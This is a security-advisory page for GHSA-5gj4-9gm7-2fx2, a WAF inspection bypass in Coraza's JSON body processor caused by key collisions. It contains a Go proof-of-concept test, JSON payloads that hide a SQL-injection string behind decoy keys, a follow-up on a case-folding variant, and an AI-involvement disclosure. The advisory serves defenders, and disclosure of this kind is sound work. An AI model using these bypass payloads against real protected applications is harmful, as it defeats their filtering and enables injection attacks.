GHSA-5gj4-9gm7-2fx2: Github.com/corazawaf/coraza/v3 Coraza Body Processor Has A Vulnerability

MODERATE
CVSS 5.8
CWE-436 CWE-20
Published
Advisory Summary

GHSA-5gj4-9gm7-2fx2 is a MODERATE (CVSS 5.8) coraza body processor has a vulnerability (CWE-436: Interpretation Conflict) affecting Github.com/corazawaf/coraza/v3 libraries in the Go ecosystem. The issue involves coraza body processor has a json key collision that allows unauthenticated attackers to bypass owasp crs inspection. Remediation is available by upgrading affected packages to version 3.8.1.

GHSA-5gj4-9gm7-2fx2 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-5gj4-9gm7-2fx2
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-436: Interpretation Conflict
Affected Product Github.com/corazawaf/coraza/v3
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-5gj4-9gm7-2fx2

To remediate this vulnerability, upgrade all affected Github.com/corazawaf/coraza/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/corazawaf/coraza/v3 fixed: 3.8.1
Upgrade github.com/corazawaf/coraza/v3 to 3.8.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/corazawaf/coraza/v3

How to Check if You Are Affected

To determine whether your application is affected by GHSA-5gj4-9gm7-2fx2, inspect your project dependencies for Github.com/corazawaf/coraza/v3:

inspect dependencies for github.com/corazawaf/coraza/v3

Analyze the terminal output to locate any version of Github.com/corazawaf/coraza/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.8.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Github.com/corazawaf/coraza/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Coraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable An unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property: ```json { "account": { "role": "1' OR '1'='1" }, "account.role": "safe" } ``` Coraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`. This bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value. ### Details The affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48). `readJSON` creates a single `map[string]string` and begins every generated path with `json`: ```go func readJSON(s string, maxRecursion int) (map[string]string, error) { res := make(map[string]string) key := []byte("json") json := gjson.Parse(s) err := readItems(json, key, maxRecursion, res) // ... } ``` Source: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94). For every object level, `readItems` appends a literal dot followed by the unescaped property name: ```go prevParentLength := len(objKey) objKey = append(objKey, '.') if key.Type == gjson.String { objKey = append(objKey, key.Str...) } ``` Source: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120). Scalar values are stored in the map using the resulting flattened string: ```go res[string(objKey)] = val ``` Source: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145). This produces a collision: ```text Nested property: {"account":{"role":"ATTACK"}} Generated Coraza key: json.account.role Literal dotted key: {"account.role":"SAFE"} Generated Coraza key: json.account.role ``` Because both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection. `ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`: ```go data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) for key, value := range data { col.SetIndex(key, 0, value) } ``` Source: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39). The JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `"account.role"` property. Coraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment. The bypass was reproduced against CRS v4.25 under all of the following configurations: - Default build - `coraza.no_memoize` - `coraza.rule.multiphase_evaluation` - `coraza.rule.no_regex_multiline` ### PoC The PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts: 1. CRS blocks the malicious nested value when no collision exists. 2. The dotted decoy makes the same CRS configuration permit the request. 3. Go's standard JSON parser still exposes the malicious nested value to the backend. 1. Save the following file as `testing/coreruleset/json_collision_security_test.go`: ```go package coreruleset import ( "encoding/json" "os" "path/filepath" "strings" "testing" "github.com/corazawaf/coraza/v3" coreruleset "github.com/corazawaf/coraza-coreruleset/v4" ) func TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) { recommended, err := os.ReadFile( filepath.Join("..", "..", "coraza.conf-recommended"), ) if err != nil { t.Fatal(err) } cfg := coraza.NewWAFConfig(). WithRootFS(coreruleset.FS). WithDirectives(string(recommended)). WithDirectives("SecRuleEngine On"). WithDirectives("Include @crs-setup.conf.example"). WithDirectives("Include @owasp_crs/*.conf") waf, err := coraza.NewWAF(cfg) if err != nil { t.Fatal(err) } tests := []struct { name string body string wantBlock bool }{ { name: "attack without collision is blocked", body: `{"account":{"role":"1' OR '1'='1"}}`, wantBlock: true, }, { name: "same attack with dotted decoy bypasses CRS", body: `{"account":{"role":"1' OR '1'='1"},` + `"account.role":"safe"}`, wantBlock: false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Prove what a normal backend sees before running Coraza. var backend struct { Account struct { Role string `json:"role"` } `json:"account"` } if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil { t.Fatal(err) } if backend.Account.Role != "1' OR '1'='1" { t.Fatalf("backend lost attack value: %q", backend.Account.Role) } tx := waf.NewTransaction() defer tx.Close() tx.ProcessConnection("127.0.0.1", 12345, "127.0.0.1", 80) tx.ProcessURI("/", "POST", "HTTP/1.1") tx.AddRequestHeader("Host", "localhost") tx.AddRequestHeader("User-Agent", "security-test") tx.AddRequestHeader("Content-Type", "application/json") if interruption := tx.ProcessRequestHeaders(); interruption != nil { t.Fatalf("unexpected header interruption: %#v", interruption) } interruption, _, err := tx.WriteRequestBody([]byte(tt.body)) if err != nil || interruption != nil { t.Fatalf("body write: interruption=%#v error=%v", interruption, err) } interruption, err = tx.ProcessRequestBody() if err != nil { t.Fatal(err) } blocked := interruption != nil t.Logf("blocked=%v interruption=%#v", blocked, interruption) if blocked != tt.wantBlock { t.Fatalf("blocked=%v, want %v", blocked, tt.wantBlock) } }) } } ``` 2. Run the default-build test: ```bash cd testing/coreruleset go test -run TestJSONFlattenedKeyCollisionBypassesCRS -v ``` 3. Expected reproduction output: ```text === RUN TestJSONFlattenedKeyCollisionBypassesCRS === RUN TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked blocked=true interruption=&types.Interruption{RuleID:949110, Action:"deny", Status:403, Data:""} === RUN TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS blocked=false interruption=(*types.Interruption)(nil) --- PASS: TestJSONFlattenedKeyCollisionBypassesCRS PASS ``` 4. The build-tag variants can be reproduced with: ```bash go test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v go test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v go test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v ``` All four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption. ### Impact This is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set. An unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value. The primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing: - SQL injection payloads - operating-system command injection payloads - cross-site scripting payloads - server-side template injection payloads - path traversal and local-file-inclusion payloads - language- or framework-specific exploit strings - forbidden application values inspected by custom SecLang rules The PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property. Applications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property. The final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error. The remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection ## Follow-up (2026-09-30): case-folding variant still overwrites values The "Resolution" section above states values are copied into `ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding key becomes a multi-valued collection entry. That closes the collision this advisory originally reported (two flattened keys with byte-identical text), but a second, distinct collision shares the exact same failure mode and was found while verifying the fix. ### Root cause `ARGS_POST` is case-insensitive by default (case-sensitive only under the `coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is *always* case-insensitive regardless of that tag (`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ only by case -- `json.account.role` vs `json.account.Role` -- are distinct entries in `readJSON`'s own case-sensitive intermediate map (`map[string][]string`), but fold to the *same* collection bucket once written through `SetIndex`: ```go // internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse for key, values := range data { for i, value := range values { col.SetIndex(key, i, value) } } ``` Each `SetIndex(key, i, value)` call addresses index `i` of whatever bucket `key` case-folds to, with no knowledge that a different-cased key is also writing to that same bucket. Iteration order over `data` (a plain Go map) is randomized, so whichever of the two keys is visited *second* overwrites index 0 of whichever was visited *first* -- deterministically leaving exactly one survivor every single request, just an unpredictable one. ### PoC ```json {"account":{"role":"1' OR '1'='1","Role":"safe"}} ``` Over 200 trials of `readJSON` + `SetIndex` against this body, the attack value (`1' OR '1'='1`) survived only 22 times (11%); the harmless value (`safe`) silently replaced it the other 178 times. With CRS v4.25 and the recommended configuration, an equivalent SQLi rule blocked only 8/100 requests with one decoy key and 14/100 with seven decoy keys planted at different case variants -- both Node.js and Python's JSON parsers keep `role = "1' OR '1'='1"` in every case, so this is a real bypass, not a parser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and remains affected even when Coraza is built with `coraza.rule.case_sensitive_args_keys`, since that tag does not change `RESPONSE_ARGS`'s case-insensitivity. ### Fix Use `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add` always appends regardless of any index, so both a same-case collision (this advisory's original case: one `data` key holding an ordered slice of values) and a case-folding collision (two different `data` keys landing in the same bucket) end up with every value preserved. The existing regression test for the original collision (`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a specific value order) still passes unchanged, since a single `data` key's own value order is unaffected by switching from indexed writes to appends. A new `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order independent, since the two colliding values now come from different `data` keys whose relative processing order is randomized) fails deterministically against the pre-fix code (asserts 2 values, gets 1, every run) and passes after the fix. Full suite, build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`, `coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS regression suite all pass. ADR-0058 has been amended with the same follow-up note (still `proposed`, so amending in place is appropriate rather than superseding it). ### AI involvement disclosure - **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code. - **What was generated/assisted:** the vulnerability hypothesis and repro shape (including the CRS block-rate figures) were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source (`internal/bodyprocessors/json.go`, `internal/collections/map.go`), reproduced the overwrite empirically (200-trial measurement against commit `19b86824`), verified the fix closes the gap, and drafted this addendum and the ADR-0058 amendment. - **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix, confirming the pre-fix code always yields exactly one survivor (never both, never neither) and the post-fix code always yields both; added and ran `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it fails against the pre-fix code and passes against the fix, and confirmed the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue` (order-sensitive) still passes unchanged; ran the full test suite, the build-tag matrix, and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted. Fix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2 ### Patched in 3.8.1 The 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected. ### Severity (revised 2026-10-02) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium). Attack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses. Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately. _AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._

GHSA-5gj4-9gm7-2fx2 Affected Github.com/corazawaf/coraza/v3 Versions

1 component(s)
Fixed Versions:
3.8.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/corazawaf/coraza/v3
Go
≥ 3.0.0
< 3.8.1
3.8.1

References

Frequently Asked Questions

What is GHSA-5gj4-9gm7-2fx2?
GHSA-5gj4-9gm7-2fx2 is a security vulnerability in Github.com/corazawaf/coraza/v3 involving Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection under CWE-436: Interpretation Conflict.
Which Github.com/corazawaf/coraza/v3 versions are affected?
Affected versions include releases prior to 3.8.1 across affected packages: github.com/corazawaf/coraza/v3.
What version fixes GHSA-5gj4-9gm7-2fx2?
Upgrading to 3.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/corazawaf/coraza/v3 affected?
Yes, github.com/corazawaf/coraza/v3 is affected in releases prior to 3.8.1. Upgrade your dependency to 3.8.1 or later.
What is the CVSS score of GHSA-5gj4-9gm7-2fx2?
GHSA-5gj4-9gm7-2fx2 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N.
What CWE is associated with GHSA-5gj4-9gm7-2fx2?
GHSA-5gj4-9gm7-2fx2 is classified under CWE-436: Interpretation Conflict (Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.).
How can I check Go dependencies for GHSA-5gj4-9gm7-2fx2?
Run the dependency tree command: 'inspect dependencies for github.com/corazawaf/coraza/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5gj4-9gm7-2fx2",
  "modified" : "2026-10-08T17:45:32Z",
  "published" : "2026-10-08T17:45:31Z",
  "aliases" : [ ],
  "summary" : "Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection",
  "details" : "### Summary\n\nCoraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable\n\nAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:\n\n```json\n{\n  \"account\": {\n    \"role\": \"1' OR '1'='1\"\n  },\n  \"account.role\": \"safe\"\n}\n```\n\nCoraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, '.')\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go's standard JSON parser still exposes the malicious nested value to the backend.\n\n1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:\n\n```go\npackage coreruleset\n\nimport (\n    \"encoding/json\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/corazawaf/coraza/v3\"\n    coreruleset \"github.com/corazawaf/coraza-coreruleset/v4\"\n)\n\nfunc TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {\n    recommended, err := os.ReadFile(\n        filepath.Join(\"..\", \"..\", \"coraza.conf-recommended\"),\n    )\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    cfg := coraza.NewWAFConfig().\n        WithRootFS(coreruleset.FS).\n        WithDirectives(string(recommended)).\n        WithDirectives(\"SecRuleEngine On\").\n        WithDirectives(\"Include @crs-setup.conf.example\").\n        WithDirectives(\"Include @owasp_crs/*.conf\")\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    tests := []struct {\n        name      string\n        body      string\n        wantBlock bool\n    }{\n        {\n            name:      \"attack without collision is blocked\",\n            body:      `{\"account\":{\"role\":\"1' OR '1'='1\"}}`,\n            wantBlock: true,\n        },\n        {\n            name: \"same attack with dotted decoy bypasses CRS\",\n            body: `{\"account\":{\"role\":\"1' OR '1'='1\"},` +\n                `\"account.role\":\"safe\"}`,\n            wantBlock: false,\n        },\n    }\n\n    for _, tt := range tests {\n        t.Run(tt.name, func(t *testing.T) {\n            // Prove what a normal backend sees before running Coraza.\n            var backend struct {\n                Account struct {\n                    Role string `json:\"role\"`\n                } `json:\"account\"`\n            }\n            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {\n                t.Fatal(err)\n            }\n            if backend.Account.Role != \"1' OR '1'='1\" {\n                t.Fatalf(\"backend lost attack value: %q\", backend.Account.Role)\n            }\n\n            tx := waf.NewTransaction()\n            defer tx.Close()\n\n            tx.ProcessConnection(\"127.0.0.1\", 12345, \"127.0.0.1\", 80)\n            tx.ProcessURI(\"/\", \"POST\", \"HTTP/1.1\")\n            tx.AddRequestHeader(\"Host\", \"localhost\")\n            tx.AddRequestHeader(\"User-Agent\", \"security-test\")\n            tx.AddRequestHeader(\"Content-Type\", \"application/json\")\n\n            if interruption := tx.ProcessRequestHeaders(); interruption != nil {\n                t.Fatalf(\"unexpected header interruption: %#v\", interruption)\n            }\n\n            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))\n            if err != nil || interruption != nil {\n                t.Fatalf(\"body write: interruption=%#v error=%v\", interruption, err)\n            }\n\n            interruption, err = tx.ProcessRequestBody()\n            if err != nil {\n                t.Fatal(err)\n            }\n\n            blocked := interruption != nil\n            t.Logf(\"blocked=%v interruption=%#v\", blocked, interruption)\n            if blocked != tt.wantBlock {\n                t.Fatalf(\"blocked=%v, want %v\", blocked, tt.wantBlock)\n            }\n        })\n    }\n}\n```\n\n2. Run the default-build test:\n\n```bash\ncd testing/coreruleset\ngo test -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\n3. Expected reproduction output:\n\n```text\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked\n    blocked=true interruption=&types.Interruption{RuleID:949110, Action:\"deny\", Status:403, Data:\"\"}\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS\n    blocked=false interruption=(*types.Interruption)(nil)\n--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS\nPASS\n```\n\n4. The build-tag variants can be reproduced with:\n\n```bash\ngo test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\nAll four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption.\n\n### Impact\n\nThis is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.\n\nAn unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`'s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1' OR '1'='1\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1' OR '1'='1`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python's JSON parsers keep\n`role = \"1' OR '1'='1\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`'s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory's original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key's\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. 